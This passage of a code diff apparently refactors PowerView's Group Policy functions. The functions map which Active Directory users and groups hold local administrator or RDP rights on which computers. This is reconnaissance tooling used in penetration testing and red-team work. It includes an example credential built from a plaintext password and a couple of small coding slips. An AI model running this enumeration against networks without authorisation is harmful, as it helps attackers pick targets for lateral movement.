+ $LDAPFilter,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $ADSpath,
+ $SearchBase,
- [Switch]
- $ResolveMemberSIDs,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
- [Switch]
- $UsePSDrive,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200
- )
-
- $Option = [System.StringSplitOptions]::RemoveEmptyEntries
-
- # get every GPO from the specified domain with restricted groups set
- Get-NetGPO -GPOName $GPOname -DisplayName $DisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object {
+ $ResultPageSize = 200,
- $GPOdisplayName = $_.displayname
- $GPOname = $_.name
- $GPOPath = $_.gpcfilesyspath
-
- $ParseArgs = @{
- 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
- 'UsePSDrive' = $UsePSDrive
- }
-
- # parse the GptTmpl.inf 'Restricted Groups' file if it exists
- $Inf = Get-GptTmpl @ParseArgs
-
- if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
- $Memberships = @{}
+ [Switch]
+ $Tombstone,
- # group the members/memberof fields for each entry
- ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
- $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()}
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
- # extract out ALL members
- $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
+ BEGIN {
+ $SearcherArguments = @{}
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+
+ $ConvertArguments = @{}
+ if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
+ if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
+
+ $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries
+ }
- if($ResolveMemberSIDs) {
- # if the resulting member is username and not a SID, attempt to resolve it
- $GroupMembers = @()
- ForEach($Member in $MembershipValue) {
- if($Member -and ($Member.Trim() -ne '')) {
- if($Member -notmatch '^S-1-.*') {
- $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID
- if($MemberSID) {
- $GroupMembers += $MemberSID
+ PROCESS {
+ if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
+
+ Get-DomainGPO @SearcherArguments | ForEach-Object {
+ $GPOdisplayName = $_.displayname
+ $GPOname = $_.name
+ $GPOPath = $_.gpcfilesyspath
+
+ $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" }
+ if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
+
+ # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists
+ $Inf = Get-GptTmpl @ParseArgs
+
+ if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
+ $Memberships = @{}
+
+ # parse the members/memberof fields for each entry
+ ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
+ $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()}
+ # extract out ALL members
+ $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
+
+ if ($PSBoundParameters['ResolveMembersToSIDs']) {
+ # if the resulting member is username and not a SID, attempt to resolve it
+ $GroupMembers = @()
+ ForEach ($Member in $MembershipValue) {
+ if ($Member -and ($Member.Trim() -ne '')) {
+ if ($Member -notmatch '^S-1-.*') {
+ $ConvertToArguments = @{'ObjectName' = $Member}
+ if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
+ $MemberSID = ConvertTo-SID @ConvertToArguments
+
+ if ($MemberSID) {
+ $GroupMembers += $MemberSID
+ }
+ else {
+ $GroupMembers += $Member
+ }
}
else {
$GroupMembers += $Member
}
}
- else {
- $GroupMembers += $Member
- }
}
+ $MembershipValue = $GroupMembers
}
- $MembershipValue = $GroupMembers
- }
-
- if(-not $Memberships[$Group]) {
- $Memberships[$Group] = @{}
- }
- if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
- $Memberships[$Group].Add($Relation, $MembershipValue)
- }
- ForEach ($Membership in $Memberships.GetEnumerator()) {
- if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
- # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
- $GroupSID = $Membership.Key.Trim('*')
- if($GroupSID -and ($GroupSID.Trim() -ne '')) {
- $GroupName = Convert-SidToName -SID $GroupSID
- }
- else {
- $GroupName = $False
+ if (-not $Memberships[$Group]) {
+ $Memberships[$Group] = @{}
}
+ if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
+ $Memberships[$Group].Add($Relation, $MembershipValue)
}
- else {
- $GroupName = $Membership.Key
- if($GroupName -and ($GroupName.Trim() -ne '')) {
- if($Groupname -match 'Administrators') {
- $GroupSID = 'S-1-5-32-544'
- }
- elseif($Groupname -match 'Remote Desktop') {
- $GroupSID = 'S-1-5-32-555'
- }
- elseif($Groupname -match 'Guests') {
- $GroupSID = 'S-1-5-32-546'
- }
- elseif($GroupName.Trim() -ne '') {
- $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID
+ ForEach ($Membership in $Memberships.GetEnumerator()) {
+ if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
+ # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
+ $GroupSID = $Membership.Key.Trim('*')
+ if ($GroupSID -and ($GroupSID.Trim() -ne '')) {
+ $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments
}
else {
- $GroupSID = $Null
+ $GroupName = $False
}
}
+ else {
+ $GroupName = $Membership.Key
+
+ if ($GroupName -and ($GroupName.Trim() -ne '')) {
+ if ($Groupname -match 'Administrators') {
+ $GroupSID = 'S-1-5-32-544'
+ }
+ elseif ($Groupname -match 'Remote Desktop') {
+ $GroupSID = 'S-1-5-32-555'
+ }
+ elseif ($Groupname -match 'Guests') {
+ $GroupSID = 'S-1-5-32-546'
+ }
+ elseif ($GroupName.Trim() -ne '') {
+ $ConvertToArguments = @{'ObjectName' = $Groupname}
+ if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
+ $GroupSID = ConvertTo-SID @ConvertToArguments
+ }
+ else {
+ $GroupSID = $Null
+ }
+ }
+ }
+
+ $GPOGroup = New-Object PSObject
+ $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
+ $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
+ $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
+ $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
+ $GPOGroup | Add-Member Noteproperty 'Filters' $Null
+ $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
+ $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
+ $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
+ $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
+ $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
+ $GPOGroup
}
+ }
- $GPOGroup = New-Object PSObject
- $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
- $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
- $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
- $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
- $GPOGroup | Add-Member Noteproperty 'Filters' $Null
- $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
- $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
- $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
- $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
- $GPOGroup
+ # now try to the parse group policy preferences file (Groups.xml) if it exists
+ $ParseArgs = @{
+ 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
}
- }
- $ParseArgs = @{
- 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
- 'UsePSDrive' = $UsePSDrive
- }
+ Get-GroupsXML @ParseArgs | ForEach-Object {
+ if ($PSBoundParameters['ResolveMembersToSIDs']) {
+ $GroupMembers = @()
+ ForEach ($Member in $_.GroupMembers) {
+ if ($Member -and ($Member.Trim() -ne '')) {
+ if ($Member -notmatch '^S-1-.*') {
+
+ # if the resulting member is username and not a SID, attempt to resolve it
+ $ConvertToArguments = @{'ObjectName' = $Groupname}
+ if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
+ $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member
- Get-GroupsXML @ParseArgs | ForEach-Object {
- if($ResolveMemberSIDs) {
- $GroupMembers = @()
- ForEach($Member in $_.GroupMembers) {
- if($Member -and ($Member.Trim() -ne '')) {
- if($Member -notmatch '^S-1-.*') {
- # if the resulting member is username and not a SID, attempt to resolve it
- $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID
- if($MemberSID) {
- $GroupMembers += $MemberSID
+ if ($MemberSID) {
+ $GroupMembers += $MemberSID
+ }
+ else {
+ $GroupMembers += $Member
+ }
}
else {
$GroupMembers += $Member
}
}
- else {
- $GroupMembers += $Member
- }
}
+ $_.GroupMembers = $GroupMembers
}
- $_.GroupMembers = $GroupMembers
- }
- $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
- $_ | Add-Member Noteproperty 'GPOName' $GPOName
- $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
- $_
+ $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
+ $_ | Add-Member Noteproperty 'GPOName' $GPOName
+ $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
+ $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
+ $_
+ }
}
}
}
-function Find-GPOLocation {
+function Get-DomainGPOUserLocalGroupMapping {
<#
- .SYNOPSIS
-
- Enumerates the machines where a specific user/group is a member of a specific
- local group, all through GPO correlation.
+.SYNOPSIS
+
+Enumerates the machines where a specific domain user/group is a member of a specific
+local group, all through GPO correlation. If no user/group is specified, all
+discoverable mappings are returned.
+
+Author: @harmj0y
+License: BSD 3-Clause
+Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup
+
+.DESCRIPTION
+
+Takes a user/group name and optional domain, and determines the computers in the domain
+the user/group has local admin (or RDP) rights to.
+
+It does this by:
+ 1. resolving the user/group to its proper SID
+ 2. enumerating all groups the user/group is a current part of
+ and extracting all target SIDs to build a target SID list
+ 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling
+ Get-DomainGPOLocalGroup
+ 4. matching the target SID list to the queried GPO SID list
+ to enumerate all GPO the user is effectively applied with
+ 5. enumerating all OUs and sites and applicable GPO GUIs are
+ applied to through gplink enumerating
+ 6. querying for all computers under the given OUs or sites
+
+If no user/group is specified, all user/group -> machine mappings discovered through
+GPO relationships are returned.
+
+.PARAMETER Identity
+
+A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
+for the user/group to identity GPO local group mappings for.
+
+.PARAMETER LocalGroup
- Author: @harmj0y
- License: BSD 3-Clause
- Required Dependencies: Get-NetUser, Get-NetGroup, Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite
- Optional Dependencies: None
+The local group to check access against.
+Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
+or a custom local SID. Defaults to local 'Administrators'.
- .DESCRIPTION
+.PARAMETER Domain
- Takes a user/group name and optional domain, and determines the computers in the domain
- the user/group has local admin (or RDP) rights to.
+Specifies the domain to enumerate GPOs for, defaults to the current domain.
- It does this by:
- 1. resolving the user/group to its proper SID
- 2. enumerating all groups the user/group is a current part of
- and extracting all target SIDs to build a target SID list
- 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling
- Get-NetGPOGroup
- 4. matching the target SID list to the queried GPO SID list
- to enumerate all GPO the user is effectively applied with
- 5. enumerating all OUs and sites and applicable GPO GUIs are
- applied to through gplink enumerating
- 6. querying for all computers under the given OUs or sites
-
- If no user/group is specified, all user/group -> machine mappings discovered through
- GPO relationships are returned.
+.PARAMETER Server
- .PARAMETER UserName
+Specifies an Active Directory server (domain controller) to bind to.
- A (single) user name name to query for access.
+.PARAMETER SearchScope
- .PARAMETER GroupName
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- A (single) group name name to query for access.
+.PARAMETER ResultPageSize
- .PARAMETER Domain
+Specifies the PageSize to set for the LDAP searcher object.
- Optional domain the user exists in for querying, defaults to the current domain.
+.PARAMETER ServerTimeLimit
- .PARAMETER DomainController
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- Domain controller to reflect LDAP queries through.
+.PARAMETER Tombstone
- .PARAMETER LocalGroup
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- The local group to check access against.
- Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
- or a custom local SID. Defaults to local 'Administrators'.
+.PARAMETER Credential
- .PARAMETER UsePSDrive
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- Switch. Mount any found policy files with temporary PSDrives.
+.EXAMPLE
- .PARAMETER PageSize
+Find-GPOLocation
- The PageSize to set for the LDAP searcher object.
+Find all user/group -> machine relationships where the user/group is a member
+of the local administrators group on target machines.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Find-GPOLocation
+Find-GPOLocation -UserName dfm -Domain dev.testlab.local
- Find all user/group -> machine relationships where the user/group is a member
- of the local administrators group on target machines.
+Find all computers that dfm user has local administrator rights to in
+the dev.testlab.local domain.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Find-GPOLocation -UserName dfm
-
- Find all computers that dfm user has local administrator rights to in
- the current domain.
+Find-GPOLocation -UserName dfm -Domain dev.testlab.local
- .EXAMPLE
+Find all computers that dfm user has local administrator rights to in
+the dev.testlab.local domain.
- PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local
-
- Find all computers that dfm user has local administrator rights to in
- the dev.testlab.local domain.
+.EXAMPLE
- .EXAMPLE
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainGPOUserLocalGroupMapping -Credential $Cred
- PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP
-
- Find all computers that jason has local RDP access rights to in the domain.
+.OUTPUTS
+
+PowerView.GPOLocalGroupMapping
+
+A custom PSObject containing any target identity information and what local
+group memberships they're a part of through GPO correlation.
+
+.LINK
+
+http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.GPOUserLocalGroupMapping')]
[CmdletBinding()]
- Param (
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
- $UserName,
+ $Identity,
[String]
- $GroupName,
+ [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
+ $LocalGroup = 'Administrators',
+ [ValidateNotNullOrEmpty()]
[String]
$Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $DomainController,
+ $SearchBase,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $LocalGroup = 'Administrators',
-
- [Switch]
- $UsePSDrive,
-
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200
- )
-
- if($UserName) {
- # if a group name is specified, get that user object so we can extract the target SID
- $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1
- $UserSid = $User.objectsid
-
- if(-not $UserSid) {
- Throw "User '$UserName' not found!"
- }
-
- $TargetSIDs = @($UserSid)
- $ObjectSamAccountName = $User.samaccountname
- $TargetObject = $UserSid
- }
- elseif($GroupName) {
- # if a group name is specified, get that group object so we can extract the target SID
- $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1
- $GroupSid = $Group.objectsid
-
- if(-not $GroupSid) {
- Throw "Group '$GroupName' not found!"
- }
+ $Server,
- $TargetSIDs = @($GroupSid)
- $ObjectSamAccountName = $Group.samaccountname
- $TargetObject = $GroupSid
- }
- else {
- $TargetSIDs = @('*')
- }
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
- # figure out what the SID is of the target local group we're checking for membership in
- if($LocalGroup -like "*Admin*") {
- $TargetLocalSID = 'S-1-5-32-544'
- }
- elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) {
- $TargetLocalSID = 'S-1-5-32-555'
- }
- elseif ($LocalGroup -like "S-1-5-*") {
- $TargetLocalSID = $LocalGroup
- }
- else {
- throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format."
- }
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
- # if we're not listing all relationships, use the tokenGroups approach from Get-NetGroup to
- # get all effective security SIDs this object is a part of
- if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) {
- $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids
- }
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
- if(-not $TargetSIDs) {
- throw "No effective target SIDs!"
- }
+ [Switch]
+ $Tombstone,
- Write-Verbose "TargetLocalSID: $TargetLocalSID"
- Write-Verbose "Effective target SIDs: $TargetSIDs"
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
- $GPOGroupArgs = @{
- 'Domain' = $Domain
- 'DomainController' = $DomainController
- 'UsePSDrive' = $UsePSDrive
- 'ResolveMemberSIDs' = $True
- 'PageSize' = $PageSize
+ BEGIN {
+ $CommonArguments = @{}
+ if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
}
- # enumerate all GPO group mappings for the target domain that involve our target SID set
- $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {
-
- $GPOgroup = $_
+ PROCESS {
+ $TargetSIDs = @()
- # if the locally set group is what we're looking for, check the GroupMembers ('members')
- # for our target SID
- if($GPOgroup.GroupSID -match $TargetLocalSID) {
- $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
- if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
- $GPOgroup
- }
+ if ($PSBoundParameters['Identity']) {
+ $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid
+ $TargetObjectSID = $TargetSIDs
+ if (-not $TargetSIDs) {
+ Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'"
}
}
- # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs
- if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
- if( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {
- $GPOgroup
- }
+ else {
+ # no filtering/match all
+ $TargetSIDs = @('*')
}
- } | Sort-Object -Property GPOName -Unique
-
- $GPOgroups | ForEach-Object {
- $GPOname = $_.GPODisplayName
- $GPOguid = $_.GPOName
- $GPOPath = $_.GPOPath
- $GPOType = $_.GPOType
- if($_.GroupMembers) {
- $GPOMembers = $_.GroupMembers
+ if ($LocalGroup -match 'S-1-5') {
+ $TargetLocalSID = $LocalGroup
+ }
+ elseif ($LocalGroup -match 'Admin') {
+ $TargetLocalSID = 'S-1-5-32-544'
}
else {
- $GPOMembers = $_.GroupSID
+ # RDP
+ $TargetLocalSID = 'S-1-5-32-555'
}
-
- $Filters = $_.Filters
- if(-not $TargetObject) {
- # if the * wildcard was used, set the ObjectDistName as the GPO member SID set
- # so all relationship mappings are output
- $TargetObjectSIDs = $GPOMembers
- }
- else {
- $TargetObjectSIDs = $TargetObject
+ if ($TargetSIDs[0] -ne '*') {
+ ForEach ($TargetSid in $TargetSids) {
+ Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'"
+ $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid
+ }
}
- # find any OUs that have this GUID applied and then retrieve any computers from the OU
- Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object {
- if($Filters) {
- # filter for computer name/org unit if a filter is specified
- # TODO: handle other filters (i.e. OU filters?) again, I hate you GPP...
- $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object {
- $_.adspath -match ($Filters.Value)
- } | ForEach-Object { $_.dnshostname }
+ Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID"
+ Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs"
+
+ $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object {
+ $GPOgroup = $_
+ # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID
+ if ($GPOgroup.GroupSID -match $TargetLocalSID) {
+ $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
+ if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
+ $GPOgroup
+ }
+ }
+ }
+ # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs
+ if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
+ if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {
+ $GPOgroup
+ }
+ }
+ } | Sort-Object -Property GPOName -Unique
+
+ $GPOgroups | Where-Object {$_} | ForEach-Object {
+ $GPOname = $_.GPODisplayName
+ $GPOguid = $_.GPOName
+ $GPOPath = $_.GPOPath
+ $GPOType = $_.GPOType
+ if ($_.GroupMembers) {
+ $GPOMembers = $_.GroupMembers
}
else {
- $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize
+ $GPOMembers = $_.GroupSID
}
- if($OUComputers) {
- if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}
+ $Filters = $_.Filters
- ForEach ($TargetSid in $TargetObjectSIDs) {
- $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
+ if ($TargetSIDs[0] -eq '*') {
+ # if the * wildcard was used, set the targets to all GPO members so everything it output
+ $TargetObjectSIDs = $GPOMembers
+ }
+ else {
+ $TargetObjectSIDs = $TargetObjectSID
+ }
- $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
+ # find any OUs that have this GPO linked through gpLink
+ Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
+ if ($Filters) {
+ $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname
+ }
+ else {
+ $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname
+ }
- $GPOLocation = New-Object PSObject
- $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
- $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
- $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
- $GPOLocation | Add-Member Noteproperty 'Domain' $Domain
- $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup
- $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname
- $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid
- $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath
- $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType
- $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
- $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers
- $GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')
- $GPOLocation
+ if ($OUComputers) {
+ if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}
+
+ ForEach ($TargetSid in $TargetObjectSIDs) {
+ $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'
+
+ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
+
+ $GPOLocalGroupMapping = New-Object PSObject
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers
+ $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping')
+ $GPOLocalGroupMapping
+ }
}
}
- }
- # find any sites that have this GUID applied
- Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object {
-
- ForEach ($TargetSid in $TargetObjectSIDs) {
- $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
+ # find any sites that have this GPO linked through gpLink
+ Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
+ ForEach ($TargetSid in $TargetObjectSIDs) {
+ $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'
- $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
+ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
- $AppliedSite = New-Object PSObject
- $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
- $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
